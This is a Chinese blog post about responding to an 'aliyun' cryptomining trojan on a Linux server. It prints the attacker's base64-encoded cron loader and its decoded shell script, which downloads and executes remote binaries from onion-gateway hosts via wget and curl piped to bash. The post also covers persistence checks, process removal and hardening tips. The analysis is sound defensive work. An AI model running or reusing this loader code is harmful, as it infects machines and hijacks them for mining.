一个名叫aliyun的挖矿木马处理过程
2020-03-03 18:28:51 Author: www.secpulse.com(查看原文) 阅读量:421 收藏

作者 | @hksanduo
来源 | https://hksanduo.club/security/2019/12/19/clean-up-a-mining-trojan-named-aliyun/
本文经授权转载,如需转载请联系原作者。

背景

老哥突然私聊我,他负责的服务器CPU飙高,发现可疑进程,疑似挖矿。

分析

为了防止事态进一步扩大,我让老哥先把这个进程杀掉,然后进行排查,可是没过多久,挖矿进程死灰复燃了,这次挖矿的名称变成了BP70vI

我想事情可能没那么简单,通过排查定时任务使用crontab -l,发现有一条定时任务,仔细一看原来是阿里云的shell脚本,但是整个系统就配置了这一条定时任务,难免有人怀疑。

当我打开/root/.aliyun.sh,我突然发现自己还是太年轻,攻击者竟然使用的是障眼法,没有那个运维人员会闲的蛋疼,把shell程序的内容使用base64进行编码。

以下是相关代码,有想研究的小伙伴可以拿去去进行研究。

#!/bin/bash
exec &>/dev/null
echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KdD10cnVtcHM0YzRvaHh2cTdvCmRpcj0kKGdyZXAgeDokKGlkIC11KTogL2V0Yy9wYXNzd2R8Y3V0IC1kOiAtZjYpCmZvciBpIGluIC91c3IvYmluICRkaXIgL2Rldi9zaG0gL3RtcCAvdmFyL3RtcDtkbyB0b3VjaCAkaS9pICYmIGNkICRpICYmIHJtIC1mIGkgJiYgYnJlYWs7ZG9uZQp4KCkgewpmPS9pbnQKZD0uLyQoZGF0ZXxtZDVzdW18Y3V0IC1mMSAtZC0pCndnZXQgLXQxIC1UMTAgLXFVLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlICQxJGYgLU8kZCB8fCBjdXJsIC1tMTAgLWZzU0xrQS0gJDEkZiAtbyRkCmNobW9kICt4ICRkOyRkO3JtIC1mICRkCn0KdSgpIHsKeD0vY3JuCndnZXQgLXQxIC1UMTAgLXFVLSAtTy0gLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAkMSR4IHx8IGN1cmwgLW0xMCAtZnNTTGtBLSAkMSR4Cn0KZ**yIGggaW4gdG9yMndlYi5pbyA0dG9yLm1sIG9uaW9uLm1uIG9uaW9uLmluLm5ldCBvbmlvbi50byBkMndlYi5vcmcgY2l2aWNsaW5rLm5ldHdvcmsgb25pb24ud3Mgb25pb24ubnogb25pb24uZ2xhc3MgdG9yMndlYi5zdQpkbwppZiAhIGxzIC9wc**jLyQoY2F0IC90bXAvLlgxMS11bml4LzAwKS9pbzsgdGhlbgp4IHRydW1wczRjNG9oeHZxN28uJGgKZWxzZQpicmVh***maQpkb25lCgppZiAhIGxzIC9wc**jLyQoY2F0IC90bXAvLlgxMS11bml4LzAwKS9pbzsgdGhlbgooCnUgJHQudG9yMndlYi5pbyB8fAp1ICR0LjR0b3IubWwgfHwKdSAkdC5kMndlYi5vcmcgfHwKdSAkdC5vbmlvbi5tbiB8fAp1ICR0L**uaW9uLmluLm5ldCB8fAp1ICR0L**uaW9uLnRvIHx8CnUgJHQuY2l2aWNsaW5rLm5ldHdvcmsgfHwKdSAkdC5vbmlvbi5wZXQgfHwKdSAkdC50b3Iyd2ViLnN1IHx8CnUgJHQub25pb24uZ2xhc3MgfHwKdSAkdC5vbmlvbi53cwopfGJhc2gKZmkK|base64 -d | bash

使用base64进行解码,可以获取恶意的shell脚本内容:

解码以后的内容如下:

exec & > /dev/nullexport PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbint=trumps4c4ohxvq7odir=$(grep x:$(id -u): /etc/passwd|cut -d: -f6)for i in /usr/bin $dir /dev/shm /tmp /var/tmp;do  touch $i/i && cd $i && rm -f i && break;donex() {  f=/int  d=./$(date|md5sum|cut -f1 -d-)  wget -t1 -T10 -qU- --no-check-certificate $1$f -O$d || curl -m10 -fsSLkA- $1$f -o$d  chmod +x $d;$d;rm -f $d}u() {  x=/crn  echo "wget -t1 -T10 -qU- -O- --no-check-certificate $1$x || curl -m10 -fsSLkA- $1$x"}for h in tor2web.io 4tor.ml onion.mn onion.in.net onion.to d2web.org civiclink.network onion.ws onion.nz onion.glass tor2web.sudo  if ! ls /proc/$(cat /tmp/.X11-unix/00)/io; then    x trumps4c4ohxvq7o.$h  else    break  fidone
if ! ls /proc/$(cat /tmp/.X11-unix/00)/io; then  (    u $t.tor2web.io ||    u $t.4tor.ml ||    u $t.d2web.org ||    u $t.onion.mn ||    u $t.onion.in.net ||    u $t.onion.to ||    u $t.civiclink.network ||    u $t.onion.pet ||    u $t.tor2web.su ||    u $t.onion.glass ||    u $t.onion.ws  )|bashfi

通过分析,我们可以发现,该壳会首先判断当前用户是否对/usr/bin 当前用户的home目录 /dev/shm /tmp /var/tmp这几个目录拥有读写权限。

 /tmp/.X11-unix/00是什么鬼 X11服务器需要有一种途径来跟X11 client来进行沟通。在网络上它们可以通过TCP / IP Socket来实现沟通,而在本机上它们通过一个Unix- / tmp,domain socket来沟通。Unix-domainsocket实际上很TCP / IP socket很类似,只不过它指向的是一个文件路径,而且无需通过网卡进行转发,因此相对来说更安全,更些些。通常来说/tmp/.X11-unix下面只会有一个Unix域Socket(因为通常只有一个Xserver在运行),但若系统同时运行多个Xserver,也可能会有多个Unix Domain Socket出现的情况。具体可以参考参考内容里的文章,里面有详细说明

但是,查看通过/tmp/.X11-unix/目录中的00文件,我并未发现该文件的种类并不是小号,攻击者可能是为了掩人耳目,故意在该目录下设置一个文件,来存储远控木马进程ID

通过判断的/ proc /木马进程id / io文件是否存在,如果不存在执行X函数从以下这些站点三级域名trumps4c4ohxvq7o下载int木马客户端

  • tor2web.io

  • 4tor.ml

  • 洋葱

  • 洋葱网

  • 洋葱

  • d2web.org

  • 公民链接网

  • 洋葱

  • 洋葱

  • 洋葱玻璃

  • tor2web.su

通过全网检这些三级域名,发现年中的时候有人中招了,文件名不同,但是手法很像,有兴趣可以查看我提供参考链接。下载木马客户端的用户称为当前时间的md5值,然后使用授权执行删除。具体使用wget或者curl请求下载int木马文件拼接案例语句如下:

wget -t1 -T10 -qU- --no-check-certificate trumps4c4ohxvq7o.onion.mn/int -O./e0ee4ac14e82501dc127890f75770c17   || curl -m10 -fsSLkA- trumps4c4ohxvq7o.onion.mn/int -o./e0ee4ac14e82501dc127890f75770c17

将下载下来的int和crn文件进行分析,virustotal返回的结果是crn是安全的,int只有Ikarus和SentinelOne(静态ML)两个引擎判断为木马,可见这个木马病毒在绕过引擎检测方面下一级功夫。
CRN检测结果:

INT检测结果:

返现INT木马程序主体,CRN为壳文件,目的是下载INT木马程序并运行,CRN文件并未进行编码和混淆,清楚不太作者为何这么做

将INT扔到IDA重新发现什么,只发现基本的逻辑流程,可能个人逆向功底太弱了,那位大佬分析了,可以请教一下。

接下来我们继续分析aliyun.sh脚本,发现木马通过判断/ proc /木马进程id / io文件是否存在,如果不存在执行U函数从以下这些站点三级域名trumps4c4ohxvq7o下载crn shell 脚本并执行,请使用lsof该命令查看该进程相关信息,如果没有相关命令,请自行安装:

可以发现相应的远控客户端(/ usr / bin / 46e5166a46208402e09732a78526b5f0)已删除使用 top我们可以发现,该挖矿木马的客户端的进程id为8391,

通过查看/tmp/.X11-unix/00文件,获取对应的远控客户端进程id为8065

通过pstree,我们可以清晰的看到两个异常的进程OYK6yVjKhnvF

通过分析ps -ef的结果,获取异常异常进程信息

综合所有信息,我们发现jKhnvF是挖矿进程,OYK6yV是木马远控的进程。

拆卸挖矿木马

分析完挖矿木马基本信息,接下来我们需要删除这些恶意的进程,并针对相关的突破进行打补丁。我们首先删除了crotab中设置的定时任务

然后杀掉两个恶意进程

然后我发现当我们kill掉的挖矿进程又死灰复燃了,通过分析,可能其他地方还存在定时任务,或者遗漏,还有其他恶意进展,我们在/etc/cron.d/下发现0aliyun这个定时任务文件,突然发现这里还有一个定时任务,顺便发现在/ opt /目录下,还有一个aliyun.sh的挖矿脚本。

我们通过可移除两个定时任务,然后重复上面的操作,找到挖矿端和木马远控客户端,就杀掉行

清除/root/.aliyun.sh状语从句:/opt/aliyun.sh 看着运行正常的系统- ,内心还是很满足的。

后续

后续溯源工作由于系统是研发同事的测试系统,上面运行三个网站,并安装redis,memcache等,并且未设置日志,所以越来越难发现攻击者是从什么地方进来的。以下建议:1,对redis进行安全加固和合规性配置2,使用河马webshell查杀工具对web目录进行扫描,查看是否有遗留的webshell 3,加固操作系统,重新设置复杂度较高的密码。


文章来源: https://www.secpulse.com/archives/124372.html
如有侵权请联系:admin#unsafe.sh